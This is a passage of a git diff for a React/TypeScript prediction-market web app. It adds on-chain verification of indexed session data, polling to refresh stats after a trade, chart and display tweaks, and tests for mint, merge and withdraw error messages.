+ expectedChildCount: 1n, + completedAt: 1n, + openedAt: 1n, + deployer: row.deployer, + metadataUri: "", + }; + case "seerMarketFactory": + return addresses.parentMarket; + case "collateralToken": + return SDAI; + case "decimals": + return 18; + case "symbol": + return "sDAI"; + case "lowerBound": + return BigInt(child.lowerBound); + case "upperBound": + return BigInt(child.upperBound); + case "parentWrappedOutcome": + return [child.underlyingToken, "0x"]; + case "wrappedOutcome": + return [ + address === row.parentMarket + ? row.invalidToken + : [child.downToken, child.upToken, child.invalidToken][Number(args?.[0])], + "0x", + ]; + default: + throw new Error(`Unexpected read ${functionName}`); + } +}; +export const verifiedClient = { + readContract: async (args: Parameters[0]) => read(args), + multicall: async ({ contracts }: { contracts: Parameters[0][] }) => contracts.map(read), +} as unknown as PublicClient; diff --git a/apps/web/src/features/sessions/api/getSession.ts b/apps/web/src/features/sessions/api/getSession.ts index 7e1be987..d075e1b2 100644 --- a/apps/web/src/features/sessions/api/getSession.ts +++ b/apps/web/src/features/sessions/api/getSession.ts @@ -6,9 +6,12 @@ import { isAddress } from "viem"; import { fetchGraphql } from "@/lib/graphql/batcher"; import { graphql } from "@/lib/graphql/generated"; import { STALE_TIME } from "@/lib/query"; +import { publicClient } from "@/lib/web3/public-client"; +import { DEFAULT_CHAIN_ID } from "@/config/chains"; import { IPFS_GATEWAY } from "@/config/ipfs"; +import { verifySession } from "./verifySession"; import { toSessionDetail } from "../utils/toSessionDetail"; const SESSION_DETAIL = graphql(` @@ -47,12 +50,8 @@ const SESSION_DETAIL = graphql(` blocks upToken downToken + invalidToken underlyingToken - tokens { - outcomeIndex - decimals - symbol - } } } } @@ -69,7 +68,8 @@ export function useSession(parentMarket: string | undefined) { ? async () => { const result = await fetchGraphql(SESSION_DETAIL, { parentMarket: parentMarket.toLowerCase() }); const row = result.Session[0]; - return row ? toSessionDetail(row, IPFS_GATEWAY) : null; + if (!row) return null; + return toSessionDetail(await verifySession(publicClient, DEFAULT_CHAIN_ID, row, parentMarket), IPFS_GATEWAY); } : skipToken, staleTime: STALE_TIME.structural, diff --git a/apps/web/src/features/sessions/api/getSessionStats.ts b/apps/web/src/features/sessions/api/getSessionStats.ts index 2c988435..960863ef 100644 --- a/apps/web/src/features/sessions/api/getSessionStats.ts +++ b/apps/web/src/features/sessions/api/getSessionStats.ts @@ -1,11 +1,13 @@ "use client"; -import { skipToken, useQuery } from "@tanstack/react-query"; +import { skipToken, useQuery, type QueryClient } from "@tanstack/react-query"; import { fetchGraphql } from "@/lib/graphql/batcher"; import { graphql } from "@/lib/graphql/generated"; import { STALE_TIME } from "@/lib/query"; +import type { SessionStats } from "../types"; +import { sessionChartKey } from "./getSessionChart"; import { toSessionStats } from "../utils/toSessionStats"; const SESSION_STATS = graphql(` @@ -26,10 +28,43 @@ const SESSION_STATS = graphql(` export const sessionStatsKey = (sessionId?: string) => ["session-stats", sessionId] as const; +const fetchSessionStats = async (sessionId: string) => toSessionStats(await fetchGraphql(SESSION_STATS, { sessionId })); + +const POLL_MS = 5_000; +const POLL_ATTEMPTS = 12; + +/** + * The indexer lags the confirmed transaction, and cached stats cannot say whether a change is this + * prediction or someone else's. So it polls the whole window, marking the chart and stats stale each + * time what the indexer serves moves, and once more at the end. Runs on the query client, so it + * outlives the popup that started it. + */ +export async function refreshSessionAfterTrade(queryClient: QueryClient, sessionId: string) { + const refresh = () => + Promise.all([ + queryClient.invalidateQueries({ queryKey: sessionChartKey(sessionId) }), + queryClient.invalidateQueries({ queryKey: sessionStatsKey(sessionId) }), + ]); + let seen = queryClient.getQueryData(sessionStatsKey(sessionId)); + for (let attempt = 0; attempt < POLL_ATTEMPTS; attempt++) { + await new Promise((resolve) => setTimeout(resolve, POLL_MS)); + try { + const now = await fetchSessionStats(sessionId); + if (!seen || now.traders !== seen.traders || now.volumeUnderlying !== seen.volumeUnderlying) { + seen = now; + await refresh(); + } + } catch { + // keep polling; the final invalidation still refetches + } + } + await refresh(); +} + export function useSessionStats(sessionId: string | undefined) { return useQuery({ queryKey: sessionStatsKey(sessionId), - queryFn: sessionId ? async () => toSessionStats(await fetchGraphql(SESSION_STATS, { sessionId })) : skipToken, + queryFn: sessionId ? () => fetchSessionStats(sessionId) : skipToken, staleTime: STALE_TIME.live, }); } diff --git a/apps/web/src/features/sessions/api/verifySession.ts b/apps/web/src/features/sessions/api/verifySession.ts new file mode 100644 index 00000000..93ddbca5 --- /dev/null +++ b/apps/web/src/features/sessions/api/verifySession.ts @@ -0,0 +1,107 @@ +import { erc20Abi, isAddress, isAddressEqual, parseAbi, type Address, type PublicClient } from "viem"; + +import { sessionFactoryAbi, sessionFactoryAddress, sDaiDepositRoute } from "@/config/contracts"; + +import type { SessionDetailRow } from "../utils/toSessionDetail"; + +const MARKET_ABI = parseAbi([ + "function lowerBound() view returns (uint256)", + "function upperBound() view returns (uint256)", + "function wrappedOutcome(uint256 index) view returns (address wrapped1155, bytes data)", + "function parentWrappedOutcome() view returns (address wrapped1155, bytes data)", +]); +const FACTORY_ABI = parseAbi(["function collateralToken() view returns (address)"]); + +const matches = (indexed: string | null | undefined, actual: Address) => + !!indexed && isAddress(indexed, { strict: false }) && isAddressEqual(indexed, actual); + +function requireMatch(condition: boolean): asserts condition { + if (!condition) throw new Error("This session's trading details could not be verified."); +} + +/** The query caches only a session whose signing configuration agrees with its factory and markets. */ +export async function verifySession( + client: PublicClient, + chainId: number, + row: SessionDetailRow, + requestedParent: Address, +): Promise { + if (!matches(row.parentMarket, requestedParent)) { + throw new Error("This session does not match the requested decision."); + } + const factory = sessionFactoryAddress(chainId); + if (!factory) throw new Error("This network cannot verify the session."); + const [session, seerFactory] = await Promise.all([ + client.readContract({ + address: factory, + abi: sessionFactoryAbi, + functionName: "getSession", + args: [BigInt(row.id)], + }), + client.readContract({ address: factory, abi: sessionFactoryAbi, functionName: "seerMarketFactory" }), + ]); + requireMatch(matches(row.parentMarket, session.parentMarket)); + requireMatch(row.children.length === session.childMarkets.length); + + const [collateral, invalid, children] = await Promise.all([ + client.readContract({ address: seerFactory, abi: FACTORY_ABI, functionName: "collateralToken" }), + client.readContract({ + address: session.parentMarket, + abi: MARKET_ABI, + functionName: "wrappedOutcome", + args: [session.expectedChildCount], + }), + Promise.all( + row.children.map(async (child, index) => { + const market = session.childMarkets[index]!; + requireMatch(matches(child.id, market) && BigInt(child.parentOutcomeIndex) === BigInt(index)); + const contract = { address: market, abi: MARKET_ABI } as const; + const [lower, upper, down, up, invalid, underlying] = await Promise.all([ + client.readContract({ ...contract, functionName: "lowerBound" }), + client.readContract({ ...contract, functionName: "upperBound" }), + client.readContract({ ...contract, functionName: "wrappedOutcome", args: [0n] }), + client.readContract({ ...contract, functionName: "wrappedOutcome", args: [1n] }), + client.readContract({ ...contract, functionName: "wrappedOutcome", args: [2n] }), + client.readContract({ ...contract, functionName: "parentWrappedOutcome" }), + ]); + requireMatch(BigInt(child.lowerBound) === lower && BigInt(child.upperBound) === upper); + requireMatch( + matches(child.upToken, up[0]) && + matches(child.downToken, down[0]) && + matches(child.invalidToken, invalid[0]) && + matches(child.underlyingToken, underlying[0]), + ); + return { + ...child, + id: market, + lowerBound: String(lower), + upperBound: String(upper), + upToken: up[0], + downToken: down[0], + invalidToken: invalid[0], + underlyingToken: underlying[0], + }; + }), + ), + ]); + requireMatch(matches(row.collateralToken, collateral) && matches(row.invalidToken, invalid[0])); + const [decimals, symbol] = sDaiDepositRoute(collateral, chainId) + ? ([18, "sDAI"] as const) + : await Promise.all([ + client.readContract({ address: collateral, abi: erc20Abi, functionName: "decimals" }), + client.readContract({ address: collateral, abi: erc20Abi, functionName: "symbol" }), + ]); + return { + ...row, + parentMarket: session.parentMarket, + collateralToken: collateral, + collateralDecimals: decimals, + collateralSymbol: symbol, + invalidToken: invalid[0], + children, + completedAt: String(session.completedAt), + openedAt: String(session.openedAt), + outcomeCount: String(session.expectedChildCount), + deployedChildCount: String(session.childMarkets.length), + }; +} diff --git a/apps/web/src/features/sessions/components/DisplayBlocks.tsx b/apps/web/src/features/sessions/components/DisplayBlocks.tsx index ff17b531..48f6c59c 100644 --- a/apps/web/src/features/sessions/components/DisplayBlocks.tsx +++ b/apps/web/src/features/sessions/components/DisplayBlocks.tsx @@ -1,3 +1,5 @@ +import { useState } from "react"; + import type { DisplayBlock } from "@foresight/session-metadata"; import { Markdown } from "@/components/ui/Markdown"; @@ -14,19 +16,29 @@ export function DisplayBlocks({ blocks }: { blocks: DisplayBlock[] }) { {block.body}
    ) : ( -
    - {/* The caption below carries the label, so the image stays silent to a screen reader. */} - {/* eslint-disable-next-line @next/next/no-img-element -- the gateway is env-configured, so no static remotePattern can cover it */} - -
    {block.label}
    -
    + ), )}
    ); } + +/** A captioned image; one that fails to load goes with its caption rather than leaving the caption alone. */ +function FigureBlock({ url, label }: { url: string; label: string }) { + const [failed, setFailed] = useState(false); + if (failed) return null; + return ( +
    + {/* The caption below carries the label, so the image stays silent to a screen reader. */} + {/* eslint-disable-next-line @next/next/no-img-element -- the gateway is env-configured, so no static remotePattern can cover it */} + setFailed(true)} + /> +
    {label}
    +
    + ); +} diff --git a/apps/web/src/features/sessions/components/SessionStat.tsx b/apps/web/src/features/sessions/components/SessionStat.tsx index 02c17c47..5dfa22e5 100644 --- a/apps/web/src/features/sessions/components/SessionStat.tsx +++ b/apps/web/src/features/sessions/components/SessionStat.tsx @@ -18,7 +18,7 @@ export function SessionStat({ {pending ? ( ) : ( - {children} + {children} )}
    ); diff --git a/apps/web/src/features/sessions/components/__tests__/DisplayBlocks.test.tsx b/apps/web/src/features/sessions/components/__tests__/DisplayBlocks.test.tsx new file mode 100644 index 00000000..326b6dbf --- /dev/null +++ b/apps/web/src/features/sessions/components/__tests__/DisplayBlocks.test.tsx @@ -0,0 +1,16 @@ +import { fireEvent, render, screen } from "@testing-library/react"; +import { describe, expect, it } from "vitest"; + +import { DisplayBlocks } from "../DisplayBlocks"; + +describe("DisplayBlocks", () => { + it("drops an image block and its caption when the image fails to load", () => { + render( + , + ); + + fireEvent.error(screen.getByRole("presentation", { hidden: true })); + + expect(screen.queryByText("The poster")).toBeNull(); + }); +}); diff --git a/apps/web/src/features/sessions/hooks/useRenderAtClose.ts b/apps/web/src/features/sessions/hooks/useRenderAtClose.ts new file mode 100644 index 00000000..a011d367 --- /dev/null +++ b/apps/web/src/features/sessions/hooks/useRenderAtClose.ts @@ -0,0 +1,20 @@ +"use client"; + +import { useEffect, useState } from "react"; + +/** setTimeout fires at once past 2^31 - 1 ms, so a far close is waited out in steps. */ +const LONGEST_TIMEOUT_MS = 2 ** 31 - 1; + +/** Renders the caller again the moment `closesAt` passes, so a status read from the clock flips on time. */ +export function useRenderAtClose(closesAt: Date | null | undefined): void { + const [ticks, setTicks] = useState(0); + const at = closesAt?.getTime(); + + useEffect(() => { + if (at === undefined) return; + const left = at - Date.now(); + if (left < 0) return; + const timer = setTimeout(() => setTicks((count) => count + 1), Math.min(left + 1, LONGEST_TIMEOUT_MS)); + return () => clearTimeout(timer); + }, [at, ticks]); +} diff --git a/apps/web/src/features/sessions/types.ts b/apps/web/src/features/sessions/types.ts index af73824a..3da288b1 100644 --- a/apps/web/src/features/sessions/types.ts +++ b/apps/web/src/features/sessions/types.ts @@ -1,6 +1,8 @@ import type { DisplayBlock } from "@foresight/session-metadata"; import type { Address } from "viem"; +import type { OptionScale } from "@/types/optionScale"; + export type SessionStatus = "setting-up" | "trading" | "closed"; /** The fields every session read shares, whichever query fetched it. */ @@ -21,19 +23,13 @@ export interface SessionCore { } /** One child market */ -export interface SessionOption { - market: Address; +export interface SessionOption extends OptionScale { outcomeIndex: number; - name: string; - color: string; question: string; - /** Parsed from the market name's `[unit]` suffix; null where the name carries none. */ - unit: string | null; - /** Scalar bounds in the unit's own terms, de-scaled from 1e18. */ - lowerBound: number; - upperBound: number; upToken: Address | null; downToken: Address | null; + /** Burnt with UP and DOWN when a set is merged back; the router takes the whole partition. */ + invalidToken: Address | null; underlyingToken: Address | null; /** Display blocks with image uris already resolved against the gateway. */ blocks: DisplayBlock[]; @@ -61,10 +57,7 @@ export interface SessionDetail extends SessionCore { options: SessionOption[]; } -export type SessionChartOption = Pick< - SessionOption, - "market" | "name" | "color" | "unit" | "lowerBound" | "upperBound" ->; +export type SessionChartOption = OptionScale; export interface SessionChartPoint { /** Unix seconds. */ diff --git a/apps/web/src/features/sessions/utils/__tests__/chartSeries.test.ts b/apps/web/src/features/sessions/utils/__tests__/chartSeries.test.ts index c3b9c886..1644713a 100644 --- a/apps/web/src/features/sessions/utils/__tests__/chartSeries.test.ts +++ b/apps/web/src/features/sessions/utils/__tests__/chartSeries.test.ts @@ -93,6 +93,37 @@ describe("buildChartSeries", () => { expect(values(buildChartSeries([series(points)], 0, 2 * S))).toEqual([300, 300, 300]); }); + it("adds a point at every trade between grid steps", () => { + const points = [ + { timestamp: 0, value: 125 }, + { timestamp: 60, value: 100 }, + { timestamp: 120, value: 150 }, + { timestamp: 120, value: 175 }, + { timestamp: S + 30, value: 200 }, + ]; + + const built = buildChartSeries([series(points)], 0, 2 * S)[0]?.points; + + expect(built).toEqual([ + { timestamp: 0, value: 100 }, + { timestamp: 60, value: 100 }, + { timestamp: 120, value: 175 }, + { timestamp: S, value: 175 }, + { timestamp: S + 30, value: 200 }, + { timestamp: 2 * S, value: 200 }, + ]); + }); + + it("leaves out trades outside the drawn range", () => { + const points = [ + { timestamp: 0, value: 125 }, + { timestamp: 60, value: 100 }, + { timestamp: 2 * S, value: 300 }, + ]; + + expect(buildChartSeries([series(points)], 0, S)[0]?.points.map(({ timestamp }) => timestamp)).toEqual([0, 60, S]); + }); + it("draws a series with no points flat at the lower bound", () => { const empty = series([], { lowerBound: 100, upperBound: 500 }); diff --git a/apps/web/src/features/sessions/utils/__tests__/fixtures.ts b/apps/web/src/features/sessions/utils/__tests__/fixtures.ts index cc6873bc..8df230c4 100644 --- a/apps/web/src/features/sessions/utils/__tests__/fixtures.ts +++ b/apps/web/src/features/sessions/utils/__tests__/fixtures.ts @@ -16,7 +16,7 @@ export const sessionColumns = { openingTime: dune.closesAtSeconds, } satisfies SessionCoreRow; -/** One deployed child with its token rows; a suite overrides what it asserts. */ +/** One deployed child; a suite overrides what it asserts. */ export function sessionChildRow(overrides: Partial = {}) { return { id: addresses.childMarkets[0], @@ -30,12 +30,8 @@ export function sessionChildRow(overrides: Partial ({ + market: market as never, + name: "x", + color: "#000", + unit: null, + lowerBound: 0, + upperBound: 500, +}); + +describe("latestEstimates", () => { + it("takes the newest point of each option, keyed by lowercased market", () => { + const upper = addresses.childMarkets[0].replace("0xc", "0xC"); + const data: SessionChartData = [ + { + option: option(upper), + points: [ + { timestamp: 1, value: 100 }, + { timestamp: 2, value: 312 }, + ], + }, + { option: option(addresses.childMarkets[1]), points: [{ timestamp: 1, value: 280 }] }, + ]; + + expect(latestEstimates(data)).toEqual({ [addresses.childMarkets[0]]: 312, [addresses.childMarkets[1]]: 280 }); + }); + + it("leaves out an option whose pool never priced", () => { + const data: SessionChartData = [{ option: option(addresses.childMarkets[0]), points: [] }]; + + expect(latestEstimates(data)).toEqual({}); + }); +}); diff --git a/apps/web/src/features/sessions/utils/__tests__/optionNoun.test.ts b/apps/web/src/features/sessions/utils/__tests__/optionNoun.test.ts new file mode 100644 index 00000000..c534be2c --- /dev/null +++ b/apps/web/src/features/sessions/utils/__tests__/optionNoun.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, it } from "vitest"; + +import { optionNoun, optionNounSingular } from "../optionNoun"; + +describe("an option noun inside a sentence", () => { + it.each([ + ["Directors", "directors"], + ["Movie Titles", "movie titles"], + ["US States", "US states"], + ["NBA Teams", "NBA teams"], + ["AI Labs", "AI labs"], + ["iPhones", "iPhones"], + ["cities", "cities"], + ])("reads %s as %s, lowering only a capitalised word", (plural, inSentence) => { + expect(optionNoun(plural)).toBe(inSentence); + }); + + it("falls back to branches and branch when the session names none", () => { + expect(optionNoun(null)).toBe("branches"); + expect(optionNounSingular("")).toBe("branch"); + }); + + it("reads the singular alike", () => { + expect(optionNounSingular("US State")).toBe("US state"); + }); +}); diff --git a/apps/web/src/features/sessions/utils/__tests__/toSessionChart.test.ts b/apps/web/src/features/sessions/utils/__tests__/toSessionChart.test.ts index aec00a9e..8e65e2e7 100644 --- a/apps/web/src/features/sessions/utils/__tests__/toSessionChart.test.ts +++ b/apps/web/src/features/sessions/utils/__tests__/toSessionChart.test.ts @@ -22,6 +22,7 @@ function option(overrides: Partial = {}): SessionOption { name: dune.director.displayName, color: dune.director.color, question: "Opening weekend gross if Gerwig directs", + invalidToken: addresses.childInvalidToken, unit: dune.unit, lowerBound: 0, upperBound: 500, diff --git a/apps/web/src/features/sessions/utils/chartSeries.ts b/apps/web/src/features/sessions/utils/chartSeries.ts index 41d0b782..653ff5a4 100644 --- a/apps/web/src/features/sessions/utils/chartSeries.ts +++ b/apps/web/src/features/sessions/utils/chartSeries.ts @@ -36,8 +36,10 @@ export function buildChartSeries(data: SessionChartData, startTime: number, endT return data.map(({ option, points }) => { const normalized = points.slice(firstTradedIndex(points, option)); const first = normalized[0]; + const tradeTimes = normalized.map((point) => point.timestamp).filter((t) => t > startTime && t < endTime); + const times = [...new Set([...timestamps, ...tradeTimes])].sort((a, b) => a - b); - const gridPoints = timestamps.map((timestamp) => { + const gridPoints = times.map((timestamp) => { if (first === undefined) return { timestamp, value: option.lowerBound }; let closest = first; diff --git a/apps/web/src/features/sessions/utils/latestEstimates.ts b/apps/web/src/features/sessions/utils/latestEstimates.ts new file mode 100644 index 00000000..11b5b52b --- /dev/null +++ b/apps/web/src/features/sessions/utils/latestEstimates.ts @@ -0,0 +1,14 @@ +import type { SessionChartData } from "../types"; + +/** + * Where the market sits now for each option, keyed by lowercased child market. An option whose + * pool never priced has no entry. + */ +export function latestEstimates(data: SessionChartData): Record { + const estimates: Record = {}; + for (const { option, points } of data) { + const last = points.at(-1); + if (last !== undefined) estimates[option.market.toLowerCase()] = last.value; + } + return estimates; +} diff --git a/apps/web/src/features/sessions/utils/optionNoun.ts b/apps/web/src/features/sessions/utils/optionNoun.ts index 4bdb637f..1ea2e290 100644 --- a/apps/web/src/features/sessions/utils/optionNoun.ts +++ b/apps/web/src/features/sessions/utils/optionNoun.ts @@ -1,2 +1,8 @@ +/** Lowers only plain capitalised words, so "Movie Titles" reads "movie titles" and "US States" "US states". */ +const inSentence = (noun: string) => noun.replace(/\b[A-Z][a-z]+\b/g, (word) => word.toLowerCase()); + /** The creator's plural noun for the options; "branches" is the fallback that signals missing metadata. */ -export const optionNoun = (itemNamePlural: string | null) => (itemNamePlural || "branches").toLowerCase(); +export const optionNoun = (itemNamePlural: string | null) => inSentence(itemNamePlural || "branches"); + +/** The singular, as in "Mint director tokens". */ +export const optionNounSingular = (itemName: string | null) => inSentence(itemName || "branch"); diff --git a/apps/web/src/features/sessions/utils/toSessionChart.ts b/apps/web/src/features/sessions/utils/toSessionChart.ts index 1b287fcc..2446d85f 100644 --- a/apps/web/src/features/sessions/utils/toSessionChart.ts +++ b/apps/web/src/features/sessions/utils/toSessionChart.ts @@ -1,14 +1,11 @@ -import { fromWad } from "@/utils/amount"; +import { priceWadToEstimate } from "@/utils/optionPrice"; import type { SessionChartQuery } from "@/lib/graphql/generated/graphql"; import type { SessionChartData, SessionChartPoint, SessionOption } from "../types"; -const toEstimate = (underlyingPerOutcome: string | null | undefined, option: SessionOption): number | undefined => { - if (underlyingPerOutcome == null) return undefined; - - return option.lowerBound + fromWad(underlyingPerOutcome) * (option.upperBound - option.lowerBound); -}; +const toEstimate = (underlyingPerOutcome: string | null | undefined, option: SessionOption): number | undefined => + underlyingPerOutcome == null ? undefined : priceWadToEstimate(BigInt(underlyingPerOutcome), option); export function toSessionChart(result: SessionChartQuery, options: SessionOption[]): SessionChartData { // Indexer ids are lowercase; only the caller's option addresses need normalising. diff --git a/apps/web/src/features/sessions/utils/toSessionDetail.ts b/apps/web/src/features/sessions/utils/toSessionDetail.ts index dd21bd84..73a055fa 100644 --- a/apps/web/src/features/sessions/utils/toSessionDetail.ts +++ b/apps/web/src/features/sessions/utils/toSessionDetail.ts @@ -29,6 +29,7 @@ function toSessionOption(child: SessionDetailRow["children"][number], gateway: s upperBound: fromWad(child.upperBound), upToken: asToken(child.upToken), downToken: asToken(child.downToken), + invalidToken: asToken(child.invalidToken), underlyingToken: asToken(child.underlyingToken), blocks: displayBlocks(child.blocks, gateway), }; diff --git a/apps/web/src/features/settings/components/NotificationSettings/ContactDetailsForm.tsx b/apps/web/src/features/settings/components/NotificationSettings/ContactDetailsForm.tsx index b09669f6..ad08ebc2 100644 --- a/apps/web/src/features/settings/components/NotificationSettings/ContactDetailsForm.tsx +++ b/apps/web/src/features/settings/components/NotificationSettings/ContactDetailsForm.tsx @@ -103,7 +103,7 @@ const ContactDetailsForm: React.FC = () => { value={emailInput} onChange={setEmailInput} isDisabled={!isEmailUpdateable} - validate={(val) => (val.trim() === "" || EMAIL_REGEX.test(val) ? undefined : "Invalid email")} + validate={(val) => (val.trim() === "" || EMAIL_REGEX.test(val) ? undefined : "Enter a valid email")} fieldErrorProps={{ children: ({ validationErrors }) => (
      diff --git a/apps/web/src/features/trade-executor/api/__tests__/splitMergeErrors.test.tsx b/apps/web/src/features/trade-executor/api/__tests__/splitMergeErrors.test.tsx new file mode 100644 index 00000000..63d22063 --- /dev/null +++ b/apps/web/src/features/trade-executor/api/__tests__/splitMergeErrors.test.tsx @@ -0,0 +1,158 @@ +import type { ReactNode } from "react"; + +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { act, renderHook, waitFor } from "@testing-library/react"; +import { sendTransaction } from "@wagmi/core"; +import { InsufficientFundsError, InternalRpcError, UserRejectedRequestError, type Address } from "viem"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { errorToast } from "@/utils/toast"; + +import { gnosisRouterAddress } from "@/config/contracts"; + +import { useDepositToExecutor } from "../depositToExecutor"; +import { useMergeFromExecutor } from "../mergeFromExecutor"; +import { useSplitFromExecutor } from "../splitFromExecutor"; +import { useWithdrawFromExecutor } from "../withdrawFromExecutor"; + +vi.mock("@/utils/toast", () => ({ infoToast: vi.fn(), successToast: vi.fn(), errorToast: vi.fn() })); +vi.mock("@wagmi/core", () => ({ sendTransaction: vi.fn(), waitForTransactionReceipt: vi.fn() })); +vi.mock("@/lib/web3/wagmi", () => ({ wagmiConfig: {} })); +vi.mock("@/lib/web3/public-client", () => ({ publicClient: {} })); +vi.mock("@/config/contracts", async (importOriginal) => ({ + ...(await importOriginal()), + gnosisRouterAddress: vi.fn(), +})); + +const address = (digit: string) => `0x${digit.repeat(40)}` as Address; +const ROUTER = address("3"); +const split = { executor: address("2"), collateral: address("9"), parentMarket: address("7"), amount: 1n }; +const merge = { ...split, outcomeTokens: [address("a"), address("d")], invalidToken: address("8") }; + +const wrapper = ({ children }: { children: ReactNode }) => ( + + {children} + +); + +async function settle(run: () => void, result: { current: { isError: boolean } }) { + act(run); + await waitFor(() => expect(result.current.isError).toBe(true)); +} + +beforeEach(() => { + vi.mocked(errorToast).mockReset(); + vi.mocked(sendTransaction).mockReset(); + vi.mocked(gnosisRouterAddress).mockReturnValue(ROUTER); +}); + +describe("Mint, Merge and Withdraw failing before anything is sent", () => { + it("toasts once that Mint is not available without a router", async () => { + vi.mocked(gnosisRouterAddress).mockReturnValue(null); + const { result } = renderHook(() => useSplitFromExecutor(), { wrapper }); + + await settle(() => result.current.mutate(split), result); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith("Mint and Merge are not available on this network."); + expect(sendTransaction).not.toHaveBeenCalled(); + }); + + it("toasts once that Merge is not available without a router", async () => { + vi.mocked(gnosisRouterAddress).mockReturnValue(null); + const { result } = renderHook(() => useMergeFromExecutor(), { wrapper }); + + await settle(() => result.current.mutate(merge), result); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith("Mint and Merge are not available on this network."); + }); + + it("toasts once that there is nothing to merge without outcome tokens", async () => { + const { result } = renderHook(() => useMergeFromExecutor(), { wrapper }); + + await settle(() => result.current.mutate({ ...merge, outcomeTokens: [] }), result); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith("Nothing to merge."); + expect(sendTransaction).not.toHaveBeenCalled(); + }); + + it("toasts once that there is nothing to withdraw without an asset", async () => { + const { result } = renderHook(() => useWithdrawFromExecutor(), { wrapper }); + + await settle(() => result.current.mutate({ executor: address("2"), recipient: address("1"), assets: [] }), result); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith("Nothing to withdraw."); + expect(sendTransaction).not.toHaveBeenCalled(); + }); +}); + +describe("Mint and Merge failing once sent", () => { + beforeEach(() => { + vi.mocked(sendTransaction).mockRejectedValue(new UserRejectedRequestError(new Error("User denied."))); + }); + + it("leaves Mint's toast to the transaction wrapper, so it shows once", async () => { + const { result } = renderHook(() => useSplitFromExecutor(), { wrapper }); + + await settle(() => result.current.mutate(split), result); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith("You declined in your wallet."); + }); + + it("leaves Merge's toast to the transaction wrapper, so it shows once", async () => { + const { result } = renderHook(() => useMergeFromExecutor(), { wrapper }); + + await settle(() => result.current.mutate(merge), result); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith("You declined in your wallet."); + }); +}); + +describe("each trade wallet action failing once sent for lack of funds", () => { + const FEE_ONLY = "Not enough xDAI for the network fee. Add some, then try again."; + const withdraw = { executor: address("2"), recipient: address("1"), assets: [{ token: address("9"), amount: 1n }] }; + + beforeEach(() => { + vi.mocked(sendTransaction).mockRejectedValue( + new InsufficientFundsError({ + cause: new InternalRpcError(new Error("insufficient funds for gas * price + value")), + }), + ); + }); + + it("tells Withdraw only the fee is short", async () => { + const { result } = renderHook(() => useWithdrawFromExecutor(), { wrapper }); + + await settle(() => result.current.mutate(withdraw), result); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith(FEE_ONLY); + }); + + it("tells Mint only the fee is short", async () => { + const { result } = renderHook(() => useSplitFromExecutor(), { wrapper }); + + await settle(() => result.current.mutate(split), result); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith(FEE_ONLY); + }); + + it("tells Merge only the fee is short", async () => { + const { result } = renderHook(() => useMergeFromExecutor(), { wrapper }); + + await settle(() => result.current.mutate(merge), result); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith(FEE_ONLY); + }); + + it("tells a deposit the amount and the fee are short together", async () => { + const { result } = renderHook(() => useDepositToExecutor(), { wrapper }); + + await settle( + () => result.current.mutate({ executor: address("2"), asset: { token: "native", amount: 1n } }), + result, + ); + + expect(errorToast).toHaveBeenCalledExactlyOnceWith( + "Your wallet is short, fee included. Lower the amount or add funds.", + ); + }); +}); diff --git a/apps/web/src/features/trade-executor/api/getTokenBalances.ts b/apps/web/src/features/trade-executor/api/getTokenBalances.ts index 001a4d1b..2866de3b 100644 --- a/apps/web/src/features/trade-executor/api/getTokenBalances.ts +++ b/apps/web/src/features/trade-executor/api/getTokenBalances.ts @@ -1,6 +1,6 @@ "use client"; -import { skipToken, useQuery } from "@tanstack/react-query"; +import { skipToken, useQueries, useQuery } from "@tanstack/react-query"; import type { Address } from "viem"; import { STALE_TIME } from "@/lib/query"; @@ -22,3 +22,16 @@ export function useTokenBalances(holder: Address | undefined, tokens: Address[]) staleTime: STALE_TIME.balance, }); } + +/** One holder's balance of each token, each read on its own, so one failed read leaves the others standing. */ +export function useEachTokenBalance(holder: Address | undefined, tokens: Address[]) { + return useQueries({ + queries: tokens.map((token) => ({ + queryKey: tokenBalancesKey(holder, [token]), + queryFn: holder + ? async () => (await fetchTokenBalances(publicClient, { holder, tokens: [token] }))[0]! + : skipToken, + staleTime: STALE_TIME.balance, + })), + }); +} diff --git a/apps/web/src/features/trade-executor/api/mergeFromExecutor.ts b/apps/web/src/features/trade-executor/api/mergeFromExecutor.ts index aee69e2d..dca643e4 100644 --- a/apps/web/src/features/trade-executor/api/mergeFromExecutor.ts +++ b/apps/web/src/features/trade-executor/api/mergeFromExecutor.ts @@ -4,9 +4,12 @@ import { useMutation, useQueryClient } from "@tanstack/react-query"; import { sendTransaction } from "@wagmi/core"; import type { Address } from "viem"; +import { errorToast } from "@/utils/toast"; +import { FEE_ONLY_OUT_OF_FUNDS_COPY } from "@/utils/txErrorText"; import { wrapWithToast } from "@/utils/wrapWithToast"; import { mergeTx } from "@/lib/trade-executor/positions"; +import { PreflightError } from "@/lib/trade-executor/preflightError"; import { wagmiConfig } from "@/lib/web3/wagmi"; import { DEFAULT_CHAIN_ID } from "@/config/chains"; @@ -29,13 +32,19 @@ export function useMergeFromExecutor(onSuccess?: () => void) { return useMutation({ mutationFn: (args: MergeArgs) => { - if (!router) throw new Error("There is no Seer router on this network."); + if (!router) throw new PreflightError("Mint and Merge are not available on this network."); const tx = mergeTx({ ...args, router }); - return wrapWithToast(wagmiConfig, () => - sendTransaction(wagmiConfig, { to: tx.to, data: tx.data, chainId: DEFAULT_CHAIN_ID }), + return wrapWithToast( + wagmiConfig, + () => sendTransaction(wagmiConfig, { to: tx.to, data: tx.data, chainId: DEFAULT_CHAIN_ID }), + FEE_ONLY_OUT_OF_FUNDS_COPY, ); }, + // wrapWithToast reports everything from the send on + onError: (error) => { + if (error instanceof PreflightError) errorToast(error.message); + }, onSuccess: () => { onSuccess?.(); void queryClient.invalidateQueries({ queryKey: fundsKeyPrefix }); diff --git a/apps/web/src/features/trade-executor/api/splitFromExecutor.ts b/apps/web/src/features/trade-executor/api/splitFromExecutor.ts index 2430a9ae..0abd53a2 100644 --- a/apps/web/src/features/trade-executor/api/splitFromExecutor.ts +++ b/apps/web/src/features/trade-executor/api/splitFromExecutor.ts @@ -4,9 